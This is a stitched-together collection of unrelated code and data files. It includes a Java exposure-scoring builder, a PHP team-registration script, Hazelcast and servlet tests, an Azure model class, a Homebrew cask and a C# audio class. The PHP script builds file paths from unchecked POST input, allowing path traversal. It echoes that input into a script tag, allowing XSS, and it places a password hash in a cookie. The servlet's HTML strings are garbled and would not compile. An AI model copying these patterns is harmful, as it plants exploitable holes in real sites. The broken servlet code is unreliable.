                "minimumRiskScore=" + minimumRiskScore +
                ", attenuationScores=" + Arrays.toString(attenuationScores) +
                ", attenuationWeight=" + attenuationWeight +
                ", daysSinceLastExposureScores=" + Arrays.toString(daysSinceLastExposureScores) +
                ", daysSinceLastExposureWeight=" + daysSinceLastExposureWeight +
                ", durationScores=" + Arrays.toString(durationScores) +
                ", durationWeight=" + durationWeight +
                ", transmissionRiskScores=" + Arrays.toString(transmissionRiskScores) +
                ", transmissionRiskWeight=" + transmissionRiskWeight +
                ", durationAtAttenuationThresholds=" + Arrays.toString(durationAtAttenuationThresholds) +
                '}';
    }

    public static class ExposureConfigurationBuilder {
        private int minimumRiskScore = 4;
        private int[] attenuationScores = new int[]{4, 4, 4, 4, 4, 4, 4, 4};
        private int attenuationWeight = 50;
        private int[] daysSinceLastExposureScores = new int[]{4, 4, 4, 4, 4, 4, 4, 4};
        private int daysSinceLastExposureWeight = 50;
        private int[] durationScores = new int[]{4, 4, 4, 4, 4, 4, 4, 4};
        private int durationWeight = 50;
        private int[] transmissionRiskScores = new int[]{4, 4, 4, 4, 4, 4, 4, 4};
        private int transmissionRiskWeight = 50;
        private int[] durationAtAttenuationThresholds = new int[]{50, 74};

        public ExposureConfigurationBuilder setMinimumRiskScore(int minimumRiskScore) {
            this.minimumRiskScore = minimumRiskScore;
            return this;
        }

        public ExposureConfigurationBuilder setAttenuationScores(int... attenuationScores) {
            this.attenuationScores = Arrays.copyOf(attenuationScores, attenuationScores.length);
            return this;
        }

        public ExposureConfigurationBuilder setAttenuationWeight(int attenuationWeight) {
            this.attenuationWeight = attenuationWeight;
            return this;
        }

        public ExposureConfigurationBuilder setDaysSinceLastExposureScores(int... daysSinceLastExposureScores) {
            this.daysSinceLastExposureScores = Arrays.copyOf(daysSinceLastExposureScores, daysSinceLastExposureScores.length);
            return this;
        }

        public ExposureConfigurationBuilder setDaysSinceLastExposureWeight(int daysSinceLastExposureWeight) {
            this.daysSinceLastExposureWeight = daysSinceLastExposureWeight;
            return this;
        }

        public ExposureConfigurationBuilder setDurationScores(int... durationScores) {
            this.durationScores = Arrays.copyOf(durationScores, durationScores.length);
            return this;
        }

        public ExposureConfigurationBuilder setDurationWeight(int durationWeight) {
            this.durationWeight = durationWeight;
            return this;
        }

        public ExposureConfigurationBuilder setTransmissionRiskScores(int... transmissionRiskScores) {
            this.transmissionRiskScores = Arrays.copyOf(transmissionRiskScores, transmissionRiskScores.length);
            return this;
        }

        public ExposureConfigurationBuilder setTransmissionRiskWeight(int transmissionRiskWeight) {
            this.transmissionRiskWeight = transmissionRiskWeight;
            return this;
        }

        public ExposureConfigurationBuilder setDurationAtAttenuationThresholds(int... durationAtAttenuationThresholds) {
            this.durationAtAttenuationThresholds = Arrays.copyOf(durationAtAttenuationThresholds, durationAtAttenuationThresholds.length);
            return this;
        }

        public ExposureConfiguration build() {
            return new ExposureConfiguration(minimumRiskScore, attenuationScores, attenuationWeight, daysSinceLastExposureScores, daysSinceLastExposureWeight, durationScores, durationWeight, transmissionRiskScores, transmissionRiskWeight, durationAtAttenuationThresholds);
        }
    }

    public static final Creator<ExposureConfiguration> CREATOR = new AutoCreator<>(ExposureConfiguration.class);
}


text:
<?php
// ok so here I need to:
// check against all current teams for duplicates.
// start a new file for this team.
// add this team into the registry for regional teams.
// add a region if this is a new one.

if(!isset($_POST['team']) || !isset($_POST['email']) || !isset($_POST['pass']) || !isset($_POST['superregion']) || !isset($_POST['region']))
{
	var_dump($_POST);
	echo "ERROR: data missing from request";
	die;
}

if(file_exists("./data/teams/".$_POST['team'].".json"))
{
	$team = json_decode(file_get_contents("./data/teams/".$_POST['team'].".json"));

	if($team->isSet == true)
	{
		echo "ERROR: team account already created, if you believe this is incorrect please email help@ftclist.org";
		die;
	}
}
else
{
	$team = new STDClass();
	$team->comps = array();

	$rgn = new STDClass();
	$rgn->number = $_POST['team'];
	$rgn->name = $_POST['tn'];

	if(!file_exists("./data/search.json"))
	{
		$search = new STDClass();
	}
	else
	{
		$search = json_decode(file_get_contents("./data/search.json"));
	}

	// if the team is really new, then add it to the region.
	if($_POST['region'] == "null")
	{
		echo "ERROR: Region not selected";
		die;
	}

	if($_POST['region'] == "_other")
	{
		$regiondata = strtolower(str_replace(' ', '', $_POST['regionnew']));
		$regionname = $_POST['regionnew'];
	}
	else
	{
		$regiondata = strtolower(str_replace(' ', '', $_POST['region']));
		$regionname = $_POST['region'];
		$newregion = false;
	}

	if(file_exists("./data/regions/".$regiondata.".json"))
	{
		// ok cool open this file and append this team...
		$region = json_decode(file_get_contents("./data/regions/".$regiondata.".json"));
		array_push($region->teams, $rgn);
		file_put_contents("./data/regions/".$regiondata.".json", json_encode($region));
	}
	else
	{
		// ugh, lets make a new region and add it to the superregion list.
		$newregion = true;
		$region = new STDClass();
		$region->teams = array();
		$region->handle = $regiondata;
		$region->name = $regionname;
		array_push($region->teams, $rgn);
		$region->superregion = $_POST['superregion'];
		file_put_contents("./data/regions/".$regiondata.".json", json_encode($region));

		if(!isset($search->regions))
		{
			$search->regions = array();
		}
		array_push($search->regions, $region);

		if(file_exists("./data/super/".$_POST['superregion'].".json"))
		{
			// just append
			$super = json_decode(file_get_contents("./data/super/".$_POST['superregion'].".json"));
		}
		else
		{
			// make new file
			$super = new STDClass();
			$super->regions = array();
		}
		array_push($super->regions, $regionname);
		file_put_contents("./data/super/".$_POST['superregion'].".json", json_encode($super));
	}
}
// ok now we are going to start a file

$pwd = new STDclass();
$pwd->hash = hash("sha256", hash("sha256", $_POST['pass']));
$pwd->team = $_POST['team'];
$pwd->email = $_POST['email'];
$pwd->region = $regionname;

file_put_contents("./data/passwd/".$_POST['team'].".json", json_encode($pwd));

//chmod("./data/passwd/".$_POST['team'].".json", 700);

$team->number = $_POST['team'];
$team->name = $_POST['tn'];
$team->email = $_POST['email'];
$team->superregion = $_POST['superregion'];
$team->region = $regionname;
$team->contribution = 10;
$team->isSet = true;

if(!isset($search->teams))
{
	$search->teams = array();
}
$steam = $team;
unset($steam->games);
array_push($search->teams, $steam);

file_put_contents("./data/search.json", json_encode($search));
file_put_contents("./data/teams/".$_POST['team'].".json", json_encode($team));

$contrib = json_decode(file_get_contents("./data/contrib.json"));
$num = (string)$team->number;
$contrib->teams->$num = new STDClass();
$contrib->teams->$num->pts = 10;
$contrib->teams->$num->name = $team->name;

file_put_contents("./data/contrib.json", json_encode($contrib));

setcookie("hash", hash("sha256", $_POST['pass']));
setcookie("team", $_POST['team']);
setcookie("time", time());
setcookie("region", $regionname);

// ok, thats easy enough...

//echo "sucessfully logged in";
echo "<script>window.location='./team?".$_POST['team']."#first';</script>";

?>


text:
namespace Task3.Tron3D
{
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;

    public class ClassTemplate1
    {
    }
}


text:
package com.hazelcast.client.listeners;

import com.hazelcast.core.EntryAdapter;
import com.hazelcast.core.EntryEvent;
import com.hazelcast.map.IMap;
import com.hazelcast.map.impl.MapService;
import com.hazelcast.test.HazelcastParallelClassRunner;
import com.hazelcast.test.annotation.ParallelJVMTest;
import com.hazelcast.test.annotation.QuickTest;
import org.junit.experimental.categories.Category;
import org.junit.runner.RunWith;

import java.util.UUID;

@RunWith(HazelcastParallelClassRunner.class)
@Category({QuickTest.class, ParallelJVMTest.class})
public class EntryListenerOnReconnectTest extends AbstractListenersOnReconnectTest {

    private IMap<String, String> iMap;

    @Override
    String getServiceName() {
        return MapService.SERVICE_NAME;
    }

    @Override
    protected UUID addListener() {
        iMap = client.getMap(randomString());

        final EntryAdapter<String, String> listener = new EntryAdapter<String, String>() {
            public void onEntryEvent(EntryEvent<String, String> event) {
                onEvent(event.getKey());
            }
        };
        return iMap.addEntryListener(listener, true);
    }

    @Override
    public void produceEvent(String event) {
        iMap.put(event, randomString());
    }

    @Override
    public boolean removeListener(UUID registrationId) {
        return iMap.removeEntryListener(registrationId);
    }
}


text:
package testPackage;

import java.io.*;
import javax.servlet.*;
import javax.servlet.annotation.*;
import javax.servlet.http.*;

/** Simple servlet for testing. Generates HTML instead of plain
 *  text as with the HelloWorld servlet.
 */

@WebServlet("/test1")
public class TestServlet extends HttpServlet {
  /**
	 *
	 */
	private static final long serialVersionUID = 1L;

@Override
  public void doGet(HttpServletRequest request,
                    HttpServletResponse response)
      throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    out.println
      ("<!DOCTYPE html>\n" +
       "\n" +
       "<title>A Test Servlet</title>\n" +
       "\n" +
       "
Test
\n" +
       "
Simple servlet for testing.
\n" +
       "");
  }
}


text:
RECONFIGURE WITH OVERRIDE;
GO

RECONFIGURE;
GO


text:
<?xml version="1.0" encoding="UTF-8"?>
<parser-result-sets namespace="postgre.tcl.commit">
    <parser-result sql-case-id="commit" tcl-actual-statement-class-type="io.shardingsphere.core.parsing.antlr.sql.statement.tcl.CommitStatement" />
    <parser-result sql-case-id="commit_prepare" tcl-actual-statement-class-type="io.shardingsphere.core.parsing.antlr.sql.statement.tcl.CommitStatement" />
</parser-result-sets>


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
null

#### Original name
Entoloma quisquiliaris P. Karst.

### Remarks
null


text:
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.

package com.azure.resourcemanager.network.fluent.models;

import com.azure.core.annotation.Fluent;
import com.azure.resourcemanager.network.models.ProvisioningState;
import com.fasterxml.jackson.annotation.JsonProperty;

/** Trusted Root certificates properties of an application gateway. */
@Fluent
public final class ApplicationGatewayTrustedRootCertificatePropertiesFormat {
    /*
     * Certificate public data.
     */
    @JsonProperty(value = "data")
    private String data;

    /*
     * Secret Id of (base-64 encoded unencrypted pfx) 'Secret' or 'Certificate' object stored in KeyVault.
     */
    @JsonProperty(value = "keyVaultSecretId")
    private String keyVaultSecretId;

    /*
     * The provisioning state of the trusted root certificate resource.
     */
    @JsonProperty(value = "provisioningState", access = JsonProperty.Access.WRITE_ONLY)
    private ProvisioningState provisioningState;

    /** Creates an instance of ApplicationGatewayTrustedRootCertificatePropertiesFormat class. */
    public ApplicationGatewayTrustedRootCertificatePropertiesFormat() {
    }

    /**
     * Get the data property: Certificate public data.
     *
     * @return the data value.
     */
    public String data() {
        return this.data;
    }

    /**
     * Set the data property: Certificate public data.
     *
     * @param data the data value to set.
     * @return the ApplicationGatewayTrustedRootCertificatePropertiesFormat object itself.
     */
    public ApplicationGatewayTrustedRootCertificatePropertiesFormat withData(String data) {
        this.data = data;
        return this;
    }

    /**
     * Get the keyVaultSecretId property: Secret Id of (base-64 encoded unencrypted pfx) 'Secret' or 'Certificate'
     * object stored in KeyVault.
     *
     * @return the keyVaultSecretId value.
     */
    public String keyVaultSecretId() {
        return this.keyVaultSecretId;
    }

    /**
     * Set the keyVaultSecretId property: Secret Id of (base-64 encoded unencrypted pfx) 'Secret' or 'Certificate'
     * object stored in KeyVault.
     *
     * @param keyVaultSecretId the keyVaultSecretId value to set.
     * @return the ApplicationGatewayTrustedRootCertificatePropertiesFormat object itself.
     */
    public ApplicationGatewayTrustedRootCertificatePropertiesFormat withKeyVaultSecretId(String keyVaultSecretId) {
        this.keyVaultSecretId = keyVaultSecretId;
        return this;
    }

    /**
     * Get the provisioningState property: The provisioning state of the trusted root certificate resource.
     *
     * @return the provisioningState value.
     */
    public ProvisioningState provisioningState() {
        return this.provisioningState;
    }

    /**
     * Validates the instance.
     *
     * @throws IllegalArgumentException thrown if the instance is not valid.
     */
    public void validate() {
    }
}


text:
from cloudify import ctx

ctx.instance.runtime_properties['greet'] = 'hello'


text:
class Flavours < Cask
  url 'http://flavours-updates.interacto.net/Flavours.dmg'
  appcast 'http://flavours-updates.interacto.net/appcast.xml'
  homepage 'http://flavours.interacto.net/'
  version 'latest'
  sha256 :no_check
  link 'Flavours.app'
  caveats do
    files_in_usr_local
  end

  caskroom_only true     # hack to make uninstall fire
  uninstall :launchctl => 'net.interacto.flavours.helper',
            :quit  => 'net.interacto.Flavours',
            :files => [
                       '/usr/local/bin/flavours.agent',
                       '/usr/local/bin/flavours.ignitor',
                       '/usr/local/bin/restoreui',
                       '/usr/local/lib/libflavours.dylib',
                       '/usr/local/lib/libflavoursui.dylib',
                      ]
end


text:
// Copyright (c) 2016-2020 Alexander Ong
// See LICENSE in project root for license information.

#if BASS_AUDIO
using Un4seen.Bass;
#endif

namespace MoonscraperEngine.Audio
{
    public class OneShotSampleStream : AudioStream
    {
        float _volume;
        float _pan;
        public bool onlyPlayIfStopped = false;

        public OneShotSampleStream(int handle, int maxChannels) : base(handle)
        {
        }

        public override float volume
        {
            get { return _volume; }
            set { _volume = value; }
        }

        public override float pan
        {
            get { return _pan; }
            set { _pan = value; }
        }

        public override bool Play(float playPoint = 0, bool restart = false)
        {
            base.Play(playPoint, restart);

            int channel = Bass.BASS_SampleGetChannel(audioHandle, false);

            bool isPlaying = Bass.BASS_ChannelIsActive(channel) != BASSActive.BASS_ACTIVE_STOPPED && Bass.BASS_ChannelIsActive(channel) != BASSActive.BASS_ACTIVE_PAUSED;
            if (onlyPlayIfStopped && isPlaying)
            {
                return false;
            }

            if (channel != 0)
            {
                Bass.BASS_ChannelSetAttribute(channel, BASSAttribute.BASS_ATTRIB_VOL, volume);
                Bass.BASS_ChannelSetAttribute(channel, BASSAttribute.BASS_ATTRIB_PAN, pan);

                Bass.BASS_ChannelPlay(channel, restart);
                return true;
            }
            else
                UnityEngine.Debug.LogError("Error when playing sample stream: " + Bass.BASS_ErrorGetCode() + ", " + audioHandle);

            return false;
        }

        public override void Stop()
        {
            // Unsupported, stops when completed
        }
    }
}